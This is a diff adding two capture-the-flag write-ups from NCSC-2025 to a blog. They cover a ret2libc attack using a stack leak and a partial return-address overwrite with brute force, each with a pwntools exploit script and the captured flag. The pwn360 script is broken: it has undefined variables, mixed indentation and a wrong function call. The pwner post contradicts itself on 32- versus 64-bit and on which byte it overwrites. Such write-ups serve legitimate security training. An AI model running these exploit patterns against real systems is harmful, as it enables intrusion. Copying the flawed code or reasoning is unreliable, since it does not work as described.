Added NCSC-2025 write-up

Author: hackeringtrue

_posts/2025-07-31-NCSC-2025_pwn-pwn360.md

@@ -0,0 +1,101 @@
+---
+layout: post
+date: 2025-07-31 08:56:00 +0300
+categories: NCSC-2025 pwn
+title: pwn360
+tags: 64-bit ROP buffer-overflow leak ret2libc
+---
+
+## Information
+- category: pwn
+- points: 1000
+
+## Description
+> None
+
+## Write-up
+This challenge provides a way to **leak memory** directly from the stack using a controlled index. With this capability, we can bypass both **ASLR** and **PIE** protections. 
+### Step 1: Stack Leak to Defeat ASLR 
+By using the negative index (e.g., `-3`), we are able to leak a return address from the stack. In our case, the leak shows an address that lies within the `puts` function — specifically something like `puts+0x1fa`. 
+This is very useful because if we know the **offset of `puts`** within libc, we can subtract it from the leaked address to compute the **base address of libc**.
+
+### Step 2: Why ret2libc? 
+Looking at the binary, we find: 
+- PIE and ASLR are enabled. 
+- There are **no useful gadgets** (like `pop rdi; ret`) inside the binary. 
+- But once we leak libc, we can use **libc ROP gadgets**, including `system()`. 
+This makes the **ret2libc technique** the most viable option.
+
+### Step 3: Exploiting ret2libc
+After finding the libc base from the `puts` leak, we: 
+1. Compute the address of `system()` in libc. 
+2. Find the string `"/bin/sh"` (either from libc or push it on the stack). 
+3. Find a gadget like `pop rdi; ret` in libc. 
+4. Overwrite the return address using the leakable index to set up a ROP chain: `pop rdi; ret → "/bin/sh" → system()` 
+
+### Step 4: Stack Offset 
+Using debugging tools like `pwndbg`, we determine that the offset to the return address is `0x58` (88) bytes. This helps in crafting the payload correctly.
+
+## Exploit
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./pwn360_patched_patched")
+libc = ELF("./libc.so.6")
+
+context.binary = exe
+offset_ret = 0x58
+offset_puts = (0x1fa - 0x87be0)
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("cyberwarriors-challenges.skidz.io", 7001)
+
+    return r
+
+def leak(r):
+	payload =b"A"*offset_ret
+	r.sendline(b"-3")
+    r.recvuntil(b"Leaking for you: ")
+    leak = int(r.recvline().strip().decode(),16) - offset_puts
+    log.success(f"libase: {hex(leak)}.")
+
+    return leak
+def payload(r,base):
+	libc.address = leak
+    rop = ROP(libc)
+
+    pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
+    ret = rop.find_gadget(['ret'])[0]
+    system = libc.sym['system']
+    binsh = next(libc.search(b"/bin/sh"))
+
+    payload += p64(ret)
+    payload += p64(pop_rdi)
+    payload += p64(binsh)
+    payload += p64(system)
+    return payload
+
+def main():
+    r = conn()
+    base = leak(r)
+
+    payload = payload()
+
+    r.send(payload)
+    r.interactive()
+
+if __name__ == "__main__":
+    main()
+```
+## Flag
+> Flag:``` NCSC{p0p1n6_5h3ll5_h4v3_4n07h3r_74573}```
+
+
+
+

_posts/2025-07-31-NCSC-2025_pwn-pwner.md

@@ -0,0 +1,109 @@
+---
+layout: post
+date: 2025-07-31 08:22:00 +0300
+categories: NCSC-2025 pwn
+title: pwner
+tags: 32-bit ret2win buffer-overflow partial-overwrite
+---
+
+
+## Information
+- category: pwn
+- points: 1000
+
+## Description
+> None
+
+## Write-up
+We start by analyzing the binary’s control flow. The vulnerable function `vuln()` reads user input using the `read()` syscall. We also notice a hidden function called `print_flag()` — which, if executed, prints the flag. Our objective is to redirect execution to `print_flag()`.
+
+### Step 1: Finding the Overflow 
+Using `pwndbg` to inspect the stack, we find that the return address sits **52 bytes** after the beginning of the buffer. That means we can overwrite the return address by inputting 52 bytes of junk followed by our payload.
+```plaintext
+> dist $rsp 0x...  # Reveals 52-byte offset to RIP
+```
+
+### Step 2: The Challenge – PIE and ASLR 
+However, there’s a catch: * The binary is **PIE-enabled**, so addresses (including `print_flag`) are randomized each time. 
+-  There's **no infoleak**, so we can't use full ROP or leak base addresses. 
+- We also can’t fully control the return address because `read()` limits input size and ASLR hides the high bytes of addresses. 
+So full control is **not possible**, but we can still exploit this using a **partial overwrite**.
+
+### Step 3: Partial Overwrite Strategy 
+Since the address space is randomized only at page granularity (on 64-bit systems with PIE), the **low byte** (and possibly more) of a function like `print_flag()` often stays the same between executions. For example, if `print_flag()` is at `0x556a7724e072`, then the last byte `0x72` may be stable across runs. 
+So we: 
+1. Send **52 bytes** of junk to reach the return address.
+2. Overwrite **only the lowest byte** of the return address with the known final byte of `print_flag()` (e.g., `0x72`). 
+3. Brute-force the upper bytes over multiple runs. 
+
+Eventually, the full return address aligns to `print_flag()`. This is called a **partial overwrite** combined with **brute-force of the randomized higher bits**.
+
+### Step 4: Triggering the Overwrite
+The function `vuln()` is reused (called again from `main()` or itself), which gives us multiple attempts.
+Each time, we do the same partial overwrite until the process crashes or the return lands inside `print_flag()`. 
+
+**Result Eventually,**
+ the process hits the correct base address alignment and jumps into `print_flag()`, revealing the flag.
+
+## Exploit
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./pwner_patched")
+
+context.binary = exe
+context.terminal = "kitty"
+context.log_level = 'debug'
+offset_ret = 52
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        #gdb.attach(r)
+        return r
+
+    else:
+        return remote("cyberwarriors-challenges.skidz.io", 7000)
+
+def payload(r,i):
+    fixed = b"\x99"
+    payload = b"A" * offset_ret + b"\x99" + p8(i)
+    r.send(payload)
+
+
+def main():
+    while True:
+        for i in range(0x0,0xff):
+            r = conn()
+            payload(r,i)
+            res = r.recvall(timeout=5)
+            if b"NCSC{" in res:
+                print(res)
+                break
+        break
+
+
+if __name__ == "__main__":
+    main()
+```
+## Flag
+> Flag:``` NCSC{y3545lrc4nb3byp4553dw17h0u7l34k!}```
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+